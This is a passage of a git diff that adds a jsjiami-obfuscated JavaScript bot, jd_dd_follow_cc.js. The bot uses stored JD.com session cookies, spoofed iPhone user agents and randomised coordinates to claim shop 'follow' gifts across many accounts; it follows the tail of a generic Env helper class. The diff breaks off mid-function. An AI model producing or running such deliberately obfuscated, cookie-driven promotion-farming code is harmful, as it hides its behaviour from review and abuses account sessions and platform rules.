= this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_dd_follow_cc.js b/jd_dd_follow_cc.js new file mode 100644 index 0000000..4781a5c --- /dev/null +++ b/jd_dd_follow_cc.js @@ -0,0 +1,8 @@ +/** +关注有礼 +*/ +// 10 10 * * * jd_dd_follow_cc.js + +const $ = new Env('关注有礼'); +var _0xodk='jsjiami.com.v6',_0xodk_=['‮_0xodk'],_0x2b9b=[_0xodk,'aXNOb2Rl','Li9zZW5kTm90aWZ5','Li9qZENvb2tpZS5qcw==','a2V5cw==','Zm9yRWFjaA==','cHVzaA==','ZW52','SkRfREVCVUc=','ZmFsc2U=','bG9n','Z2V0ZGF0YQ==','Q29va2llc0pE','bWFw','Y29va2ll','cmV2ZXJzZQ==','Q29va2llSkQy','Q29va2llSkQ=','ZmlsdGVy','YmFzZQ==','44CQ5o+Q56S644CR6K+35YWI6I635Y+W5Lqs5Lic6LSm5Y+35LiAY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tL2JlYW4vc2lnbkluZGV4LmFjdGlvbg==','aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL29reXlkcy95eWRzL21hc3Rlci9kb2NrZXIvamRfZGRfZm9sbG93X2MuanNvbg==','c0ltVFk=','QUpJUms=','SGJkTWI=','U0tLZng=','MzAu','MTE0Lg==','bXNn','bmFtZQ==','WG1aWm4=','YkRvdVc=','Z2V0Q29kZUxpc3RlcnI=','QldmSWo=','eXJhSFA=','WUxjbUE=','dGtiWU8=','bFNXZ1Y=','bmlja05hbWU=','dW5IcFo=','bmlja25hbWU=','VXNlck5hbWU=','bnR4eEg=','bG9nRXJy','dmVuZGVySWQ=','YnNmRUc=','bGVuZ3Ro','SkQ0aVBob25lLzE2Nzg1MyUyMChpUGhvbmU7JTIwaU9TOyUyMFNjYWxlLzMuMDAp','bWF0Y2g=','aW5kZXg=','QkdGV0c=','aXNMb2dpbg==','SERVa3U=','CioqKioqKuW8gOWni+OAkOS6rOS4nOi0puWPtw==','KioqKioqKioqCg==','SGlST1Q=','a3Jnb3Y=','bnZTa0c=','44CQ5o+Q56S644CRY29va2ll5bey5aSx5pWI','5Lqs5Lic6LSm5Y+3','Cuivt+mHjeaWsOeZu+W9leiOt+WPlgpodHRwczovL2JlYW4ubS5qZC5jb20vYmVhbi9zaWduSW5kZXguYWN0aW9u','c2VuZE5vdGlmeQ==','Y29va2ll5bey5aSx5pWIIC0g','Cuivt+mHjeaWsOeZu+W9leiOt+WPlmNvb2tpZQ==','eEZBSkg=','ZGdaRGU=','WW1keGQ=','dmxmVlk=','a3FMc3c=','dVhiVEE=','d2FpdA==','Y2F0Y2g=','LCDlpLHotKUhIOWOn+WboDog','ZmluYWxseQ==','ZG9uZQ==','NHw2fDB8NXwxfDN8Mnw3','YWVOR0w=','c3BsaXQ=','c2hvcElk','aWRYRFU=','c2hvcEluZm8=','YWN0aXZpdHlJZA==','dU1MSm0=','S1BOSHE=','Ki8q','aHR0cHM6Ly9zaG9wLm0uamQuY29t','Z3ppcCwgZGVmbGF0ZSwgYnI=','emgtQ04semgtSGFucztxPTAuOQ==','bS1zaG9w','RU1HREw=','a29NZnY=','WUlmaXo=','S0t3UmY=','5Lqs5Lic5pyN5Yqh5Zmo6L+U5Zue56m65pWw5o2u','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPXdoeF9nZXRNU2hvcE91dGxpbmVJbmZvJmJvZHk9','TVJ3Z2Q=','c3RyaW5naWZ5','JmFwcGlkPXNob3BfdmlldyZjbGllbnRWZXJzaW9uPTExLjAuMCZjbGllbnQ9d2g1JmFyZWE9JnV1aWQ9','ZW91Vk0=','QWdXVGY=','RkpMa2I=','dkJCaGQ=','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxNV82IGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi8xNS42IE1vYmlsZS8xNUUxNDggU2FmYXJpLzYwNC4x','Z2V0','cGFyc2U=','ZGF0YQ==','UUpHdEo=','ZXF5bHU=','VmRycEc=','dnRmZWU=','ZnBuTGo=','ek95ckk=','YXZMRUY=','QVdHcmw=','Uk9XWno=','UkljT3A=','bUR2T0g=','dGN0TnI=','THRwS0k=','UkVBRUs=','elNTdGo=','Z3J0VU0=','Zk11aHg=','cURxYkg=','U3pSQk8=','UmFpUnU=','bFBsS3k=','empxY3o=','UGJyWm0=','eEdOVE0=','Uk54TU0=','ZWxhcG0=','RHpUSlQ=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPXdoeF9nZXRTaG9wSG9tZUFjdGl2aXR5SW5mbyZib2R5PQ==','JnQ9','bm93','RmtWQ1c=','a3lQY0w=','YnlOSEQ=','QkxFYXI=','ZmlBVmY=','TW11dGk=','WmRpZE8=','bFJVSG4=','cmVzdWx0','Z2lmdEJhZ0RhdGFSZXN1bHQ=','SVBQeUg=','SFBnRnM=','UkVJbks=','V3FvekQ=','SUt6T20=','cmV0Y29kZQ==','VkxFWnM=','aXNKYVo=','elZwekU=','SVhoVHk=','ZGFMZFM=','aHpQSU4=','WmRPUms=','UVJTSlc=','dVNPU04=','QWJib3Y=','T2FSWW4=','T1dpRkk=','V2pUSkY=','Zm5SQng=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPXdoeF9kcmF3U2hvcEdpZnQmYm9keT0=','cW5LQXM=','ZnFLeWk=','dEJZVnI=','Q1F2bWg=','S3B2THk=','SlJSU1Q=','Z3F0RFI=','VkZRdFY=','VFdYR1M=','b1hFckE=','d3BaUVg=','VE5NTko=','TWVNU28=','Q1lZdWI=','c21oT2g=','VWF5dnk=','SU5sRks=','V2lUVHU=','Y2JybkQ=','QkxzWnk=','WXNobGg=','Zmxvb3I=','Q3hIWEo=','cmFuZG9t','WG5Vcko=','Z3ZzTUU=','YkVGTlc=','eHVCZmE=','YkhRZEI=','eUhNeUs=','YXBwbGljYXRpb24vanNvbix0ZXh0L3BsYWluLCAqLyo=','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','emgtY24=','a2VlcC1hbGl2ZQ==','aHR0cHM6Ly93cXMuamQuY29tL215L2ppbmdkb3UvbXkuc2h0bWw/c2NlbmV2YWw9Mg==','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxNF8zIGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi8xNC4wLjIgTW9iaWxlLzE1RTE0OCBTYWZhcmkvNjA0LjE=','bkxzdmI=','SU5WRm8=','aHR0cHM6Ly93cS5qZC5jb20vdXNlci9pbmZvL1F1ZXJ5SkRVc2VySW5mbz9zY2VuZXZhbD0y','d2FyU1E=','ZGdxSng=','dW1Pd1c=','eXdhbE8=','WVljRlc=','ZEljSEk=','cWhzdm4=','cG9zdA==','aVJLRXg=','VVhFUlY=','SVZPenA=','ZmJNZVU=','QnVZc3g=','IEFQSeivt+axguWksei0pe+8jOivt+ajgOafpee9kei3r+mHjeivlQ==','VGFpcFY=','YU9USno=','SVJ3U0k=','cGt4VlE=','SHFqYkM=','VnJOQ0o=','UlZVZ3Q=','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM18yXzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzEzLjAuMyBNb2JpbGUvMTVFMTQ4IFNhZmFyaS82MDQuMSBFZGcvODcuMC40MjgwLjg4','eWdqVG0=','UmpsdWM=','bUxBek4=','dllySUw=','ekRaVUg=','c0ZqRk0=','bWJuUkk=','cklaWHo=','aHRkUWE=','YVZYZ3U=','RHdVWGY=','TU9aTVo=','UGNJaks=','jsKUKHjiLEamiJ.McZomB.tvY6GU=='];if(function(_0x1f80ef,_0xdcabde,_0x10fdd7){function _0x438964(_0x34d898,_0x17b275,_0x239cef,_0x2fcf50,_0x2fd59d,_0x78623b){_0x17b275=_0x17b275>>0x8,_0x2fd59d='po';var _0x598293='shift',_0x3b5975='push',_0x78623b='‮';if(_0x17b275<_0x34d898){while(--_0x34d898){_0x2fcf50=_0x1f80ef[_0x598293]();if(_0x17b275===_0x34d898&&_0x78623b==='‮'&&_0x78623b['length']===0x1){_0x17b275=_0x2fcf50,_0x239cef=_0x1f80ef[_0x2fd59d+'p']();}else if(_0x17b275&&_0x239cef['replace'](/[KUKHLEJMZBtYGU=]/g,'')===_0x17b275){_0x1f80ef[_0x3b5975](_0x2fcf50);}}_0x1f80ef[_0x3b5975](_0x1f80ef[_0x598293]());}return 0xfcd4a;};return _0x438964(++_0xdcabde,_0x10fdd7)>>_0xdcabde^_0x10fdd7;}(_0x2b9b,0xf1,0xf100),_0x2b9b){_0xodk_=_0x2b9b['length']^0xf1;};function _0x35cd(_0xb286b3,_0x51425a){_0xb286b3=~~'0x'['concat'](_0xb286b3['slice'](0x1));var _0x485d25=_0x2b9b[_0xb286b3];if(_0x35cd['mNofGy']===undefined&&'‮'['length']===0x1){(function(){var _0x5bdce2=function(){var _0x2834e8;try{_0x2834e8=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x47e700){_0x2834e8=window;}return _0x2834e8;};var _0x4f094a=_0x5bdce2();var _0x4f63a5='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x4f094a['atob']||(_0x4f094a['atob']=function(_0x58936e){var _0x2431cb=String(_0x58936e)['replace'](/=+$/,'');for(var _0xce34f9=0x0,_0x4d304d,_0x3ccf39,_0xf1e534=0x0,_0x336b3a='';_0x3ccf39=_0x2431cb['charAt'](_0xf1e534++);~_0x3ccf39&&(_0x4d304d=_0xce34f9%0x4?_0x4d304d*0x40+_0x3ccf39:_0x3ccf39,_0xce34f9++%0x4)?_0x336b3a+=String['fromCharCode'](0xff&_0x4d304d>>(-0x2*_0xce34f9&0x6)):0x0){_0x3ccf39=_0x4f63a5['indexOf'](_0x3ccf39);}return _0x336b3a;});}());_0x35cd['ZUniQc']=function(_0x1cd051){var _0x3d79b7=atob(_0x1cd051);var _0x1819f0=[];for(var _0x19f031=0x0,_0x39a44d=_0x3d79b7['length'];_0x19f031<_0x39a44d;_0x19f031++){_0x1819f0+='%'+('00'+_0x3d79b7['charCodeAt'](_0x19f031)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x1819f0);};_0x35cd['KtThcV']={};_0x35cd['mNofGy']=!![];}var _0x418eed=_0x35cd['KtThcV'][_0xb286b3];if(_0x418eed===undefined){_0x485d25=_0x35cd['ZUniQc'](_0x485d25);_0x35cd['KtThcV'][_0xb286b3]=_0x485d25;}else{_0x485d25=_0x418eed;}return _0x485d25;};const notify=$[_0x35cd('‫0')]()?require(_0x35cd('‫1')):'';const jdCookieNode=$[_0x35cd('‫0')]()?require(_0x35cd('‫2')):'';let cookiesArr=[],cookie='';let venderIdList=[];if($[_0x35cd('‫0')]()){Object[_0x35cd('‫3')](jdCookieNode)[_0x35cd('‫4')](_0x340e63=>{cookiesArr[_0x35cd('‮5')](jdCookieNode[_0x340e63]);});if(process[_0x35cd('‮6')][_0x35cd('‮7')]&&process[_0x35cd('‮6')][_0x35cd('‮7')]===_0x35cd('‫8'))console[_0x35cd('‮9')]=()=>{};}else{let cookiesData=$[_0x35cd('‫a')](_0x35cd('‫b'))||'[]';cookiesData=jsonParse(cookiesData);cookiesArr=cookiesData[_0x35cd('‮c')](_0xfb2a4d=>_0xfb2a4d[_0x35cd('‮d')]);cookiesArr[_0x35cd('‮e')]();cookiesArr[_0x35cd('‮5')](...[$[_0x35cd('‫a')](_0x35cd('‫f')),$[_0x35cd('‫a')](_0x35cd('‮10'))]);cookiesArr[_0x35cd('‮e')]();cookiesArr=cookiesArr[_0x35cd('‫11')](_0x7191d3=>_0x7191d3!==''&&_0x7191d3!==null&&_0x7191d3!==undefined);}!(async()=>{var _0x43362c={'unHpZ':_0x35cd('‮12'),'XmZZn':_0x35cd('‮13'),'bDouW':_0x35cd('‮14'),'BWfIj':function(_0x38f6df,_0x215c2b){return _0x38f6df(_0x215c2b);},'yraHP':_0x35cd('‮15'),'YLcmA':function(_0x37e114,_0x5d24a4){return _0x37e114===_0x5d24a4;},'tkbYO':function(_0x9eb2a7,_0x2c909e){return _0x9eb2a7!==_0x2c909e;},'lSWgV':_0x35cd('‮16'),'ntxxH':_0x35cd('‫17'),'bsfEG':function(_0x2edfdb,_0x573702){return _0x2edfdb<_0x573702;},'BGFWG':function(_0x37fe0d,_0x141768){return _0x37fe0d+_0x141768;},'HDUku':function(_0x4e22e8){return _0x4e22e8();},'HiROT':function(_0x5b4e96,_0x6dae79){return _0x5b4e96!==_0x6dae79;},'krgov':_0x35cd('‫18'),'nvSkG':_0x35cd('‫19'),'xFAJH':_0x35cd('‮1a'),'dgZDe':function(_0x575c55,_0x5240cb,_0x32a1a0){return _0x575c55(_0x5240cb,_0x32a1a0);},'Ymdxd':function(_0x3592eb,_0x5ae8a4){return _0x3592eb+_0x5ae8a4;},'vlfVY':_0x35cd('‫1b'),'kqLsw':function(_0xb71ca8,_0x2e7069,_0x5787e0){return _0xb71ca8(_0x2e7069,_0x5787e0);},'uXbTA':function(_0x112c2c){return _0x112c2c();}};if(!cookiesArr[0x0]){$[_0x35cd('‫1c')]($[_0x35cd('‫1d')],_0x43362c[_0x35cd('‮1e')],_0x43362c[_0x35cd('‫1f')],{'open-url':_0x43362c[_0x35cd('‫1f')]});return;}$[_0x35cd('‮20')]=![];venderIdList=await _0x43362c[_0x35cd('‮21')](getCodeList,_0x43362c[_0x35cd('‮22')]);console[_0x35cd('‮9')](venderIdList);if(_0x43362c[_0x35cd('‮23')]($[_0x35cd('‮20')],!![])){if(_0x43362c[_0x35cd('‮24')](_0x43362c[_0x35cd('‫25')],_0x43362c[_0x35cd('‫25')])){$[_0x35cd('‫26')]=data[_0x43362c[_0x35cd('‫27')]]&&data[_0x43362c[_0x35cd('‫27')]][_0x35cd('‫28')]||$[_0x35cd('‮29')];}else{for(const _0x30b8ae of venderIdList){if(_0x43362c[_0x35cd('‮24')](_0x43362c[_0x35cd('‫2a')],_0x43362c[_0x35cd('‫2a')])){$[_0x35cd('‫2b')](e,resp);}else{$[_0x35cd('‫2c')]=_0x30b8ae;console[_0x35cd('‮9')]($[_0x35cd('‫2c')]);for(let _0x1e9d9b=0x0;_0x43362c[_0x35cd('‫2d')](_0x1e9d9b,cookiesArr[_0x35cd('‮2e')]);_0x1e9d9b++){UA=_0x35cd('‫2f');if(cookiesArr[_0x1e9d9b]){cookie=cookiesArr[_0x1e9d9b];$[_0x35cd('‮29')]=_0x43362c[_0x35cd('‮21')](decodeURIComponent,cookie[_0x35cd('‫30')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0x35cd('‫30')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x35cd('‮31')]=_0x43362c[_0x35cd('‫32')](_0x1e9d9b,0x1);$[_0x35cd('‫33')]=!![];$[_0x35cd('‫26')]='';await _0x43362c[_0x35cd('‫34')](TotalBean);console[_0x35cd('‮9')](_0x35cd('‮35')+$[_0x35cd('‮31')]+'】'+($[_0x35cd('‫26')]||$[_0x35cd('‮29')])+_0x35cd('‮36'));if(!$[_0x35cd('‫33')]){if(_0x43362c[_0x35cd('‫37')](_0x43362c[_0x35cd('‮38')],_0x43362c[_0x35cd('‮39')])){$[_0x35cd('‫1c')]($[_0x35cd('‫1d')],_0x35cd('‫3a'),_0x35cd('‫3b')+$[_0x35cd('‮31')]+'\x20'+($[_0x35cd('‫26')]||$[_0x35cd('‮29')])+_0x35cd('‫3c'),{'open-url':_0x43362c[_0x35cd('‫1f')]});if($[_0x35cd('‫0')]()){await notify[_0x35cd('‮3d')]($[_0x35cd('‫1d')]+_0x35cd('‫3e')+$[_0x35cd('‮29')],_0x35cd('‫3b')+$[_0x35cd('‮31')]+'\x20'+$[_0x35cd('‮29')]+_0x35cd('‫3f'));}continue;}else{$[_0x35cd('‫26')]=$[_0x35cd('‮29')];}}latWs=_0x43362c[_0x35cd('‫32')](_0x43362c[_0x35cd('‫40')],_0x43362c[_0x35cd('‫41')](random,0x1869f,0x2710));lngWs=_0x43362c[_0x35cd('‫42')](_0x43362c[_0x35cd('‮43')],_0x43362c[_0x35cd('‫44')](random,0x1869f,0x2710));await _0x43362c[_0x35cd('‮45')](main);await $[_0x35cd('‮46')](0x7d0);}}}}}}})()[_0x35cd('‫47')](_0x952597=>{$[_0x35cd('‮9')]('','❌\x20'+$[_0x35cd('‫1d')]+_0x35cd('‮48')+_0x952597+'!','');})[_0x35cd('‫49')](()=>{$[_0x35cd('‫4a')]();});async function main(){var _0x1e6a9c={'aeNGL':_0x35cd('‫4b'),'idXDU':function(_0x21abcb){return _0x21abcb();}};var _0x380c8e=_0x1e6a9c[_0x35cd('‫4c')][_0x35cd('‮4d')]('|'),_0xf3591d=0x0;while(!![]){switch(_0x380c8e[_0xf3591d++]){case'0':$[_0x35cd('‮4e')]='';continue;case'1':await $[_0x35cd('‮46')](0x3e8);continue;case'2':await $[_0x35cd('‮46')](0x3e8);continue;case'3':await _0x1e6a9c[_0x35cd('‫4f')](getShopHomeActivityInfo);continue;case'4':$[_0x35cd('‫50')]='';continue;case'5':await _0x1e6a9c[_0x35cd('‫4f')](getMShopOutlineInfo);continue;case'6':$[_0x35cd('‮51')]='';continue;case'7':if($[_0x35cd('‮51')]){$[_0x35cd('‮4e')]=$[_0x35cd('‫50')][_0x35cd('‮4e')];await _0x1e6a9c[_0x35cd('‫4f')](drawShopGift);await $[_0x35cd('‮46')](0x3e8);}continue;}break;}}function getMShopOutlineInfo(){var _0x27fa18={'QJGtJ':function(_0x24b4bd){return _0x24b4bd();},'koMfv':function(_0x11baae,_0x3cb352){return _0x11baae===_0x3cb352;},'YIfiz':_0x35cd('‮52'),'KKwRf':_0x35cd('‮53'),'MRwgd':function(_0x3cf604,_0x472993){return _0x3cf604(_0x472993);},'eouVM':_0x35cd('‮54'),'AgWTf':_0x35cd('‮55'),'FJLkb':_0x35cd('‫56'),'vBBhd':_0x35cd('‮57'),'EMGDL':_0x35cd('‮58')};const _0x411276={'venderId':$[_0x35cd('‫2c')],'source':_0x27fa18[_0x35cd('‮59')]};return new Promise(async _0x175f4e=>{if(_0x27fa18[_0x35cd('‫5a')](_0x27fa18[_0x35cd('‫5b')],_0x27fa18[_0x35cd('‫5c')])){console[_0x35cd('‮9')](_0x35cd('‮5d'));}else{const _0x3ab3b2={'url':_0x35cd('‫5e')+_0x27fa18[_0x35cd('‫5f')](encodeURIComponent,JSON[_0x35cd('‮60')](_0x411276))+_0x35cd('‫61'),'headers':{'Accept':_0x27fa18[_0x35cd('‫62')],'Origin':_0x27fa18[_0x35cd('‫63')],'Accept-Encoding':_0x27fa18[_0x35cd('‮64')],'Accept-Language':_0x27fa18[_0x35cd('‫65')],'Cookie':cookie,'Referer':_0x27fa18[_0x35cd('‫63')],'User-Agent':_0x35cd('‮66')}};$[_0x35cd('‫67')](_0x3ab3b2,(_0x4cc355,_0x3b6a55,_0x128469)=>{try{if(_0x4cc355){console[_0x35cd('‮9')](''+JSON[_0x35cd('‮60')](_0x4cc355));}else{if(_0x128469){_0x128469=JSON[_0x35cd('‫68')](_0x128469);$[_0x35cd('‫50')]=_0x128469[_0x35cd('‫69')][_0x35cd('‫50')];}else{console[_0x35cd('‮9')](_0x35cd('‮5d'));}}}catch(_0x109165){$[_0x35cd('‫2b')](_0x109165,_0x3b6a55);}finally{_0x27fa18[_0x35cd('‮6a')](_0x175f4e);}});}});}function getShopHomeActivityInfo(){var _0x4b3554={'RIcOp':_0x35cd('‫b'),'mDvOH':function(_0x1ada87,_0x3f0b9d){return _0x1ada87(_0x3f0b9d);},'tctNr':_0x35cd('‫f'),'LtpKI':_0x35cd('‮10'),'REAEK':function(_0x5acc7f){return _0x5acc7f();},'zSStj':function(_0x420791,_0x33d9fd){return _0x420791===_0x33d9fd;},'grtUM':_0x35cd('‮6b'),'fMuhx':_0x35cd('‮6c'),'qDqbH':_0x35cd('‮6d'),'SzRBO':function(_0x30abee,_0x46c7a0){return _0x30abee!==_0x46c7a0;},'RaiRu':_0x35cd('‮6e'),'lPlKy':_0x35cd('‫6f'),'zjqcz':_0x35cd('‮70'),'PbrZm':_0x35cd('‫71'),'FkVCW':_0x35cd('‮54'),'kyPcL':_0x35cd('‮55'),'byNHD':_0x35cd('‫56'),'BLEar':_0x35cd('‮57'),'ROWZz':_0x35cd('‮58')};const _0x183ea4={'venderId':$[_0x35cd('‫2c')],'source':_0x4b3554[_0x35cd('‫72')]};return new Promise(async _0x349935=>{var _0xe185ce={'xGNTM':_0x4b3554[_0x35cd('‮73')],'RNxMM':function(_0x119f08,_0x45bcb2){return _0x4b3554[_0x35cd('‮74')](_0x119f08,_0x45bcb2);},'elapm':_0x4b3554[_0x35cd('‫75')],'DzTJT':_0x4b3554[_0x35cd('‮76')],'lRUHn':function(_0x417824){return _0x4b3554[_0x35cd('‮77')](_0x417824);},'fiAVf':function(_0x2c560e,_0x14dfc8){return _0x4b3554[_0x35cd('‫78')](_0x2c560e,_0x14dfc8);},'Mmuti':_0x4b3554[_0x35cd('‮79')],'ZdidO':_0x4b3554[_0x35cd('‫7a')],'IPPyH':function(_0x111353,_0x3ace88){return _0x4b3554[_0x35cd('‫78')](_0x111353,_0x3ace88);},'HPgFs':_0x4b3554[_0x35cd('‫7b')],'REInK':function(_0x23d18e,_0x45eaae){return _0x4b3554[_0x35cd('‮7c')](_0x23d18e,_0x45eaae);},'WqozD':_0x4b3554[_0x35cd('‮7d')],'IKzOm':_0x4b3554[_0x35cd('‮7e')]};if(_0x4b3554[_0x35cd('‫78')](_0x4b3554[_0x35cd('‮7f')],_0x4b3554[_0x35cd('‮80')])){let _0x33974f=$[_0x35cd('‫a')](_0xe185ce[_0x35cd('‫81')])||'[]';_0x33974f=_0xe185ce[_0x35cd('‫82')](jsonParse,_0x33974f);cookiesArr=_0x33974f[_0x35cd('‮c')](_0x52e8b3=>_0x52e8b3[_0x35cd('‮d')]);cookiesArr[_0x35cd('‮e')]();cookiesArr[_0x35cd('‮5')](...[$[_0x35cd('‫a')](_0xe185ce[_0x35cd('‮83')]),$[_0x35cd('‫a')](_0xe185ce[_0x35cd('‫84')])]);cookiesArr[_0x35cd('‮e')]();cookiesArr=cookiesArr[_0x35cd('‫11')](_0x576d3d=>_0x576d3d!==''&&_0x576d3d!==null&&_0x576d3d!==undefined);}else{const 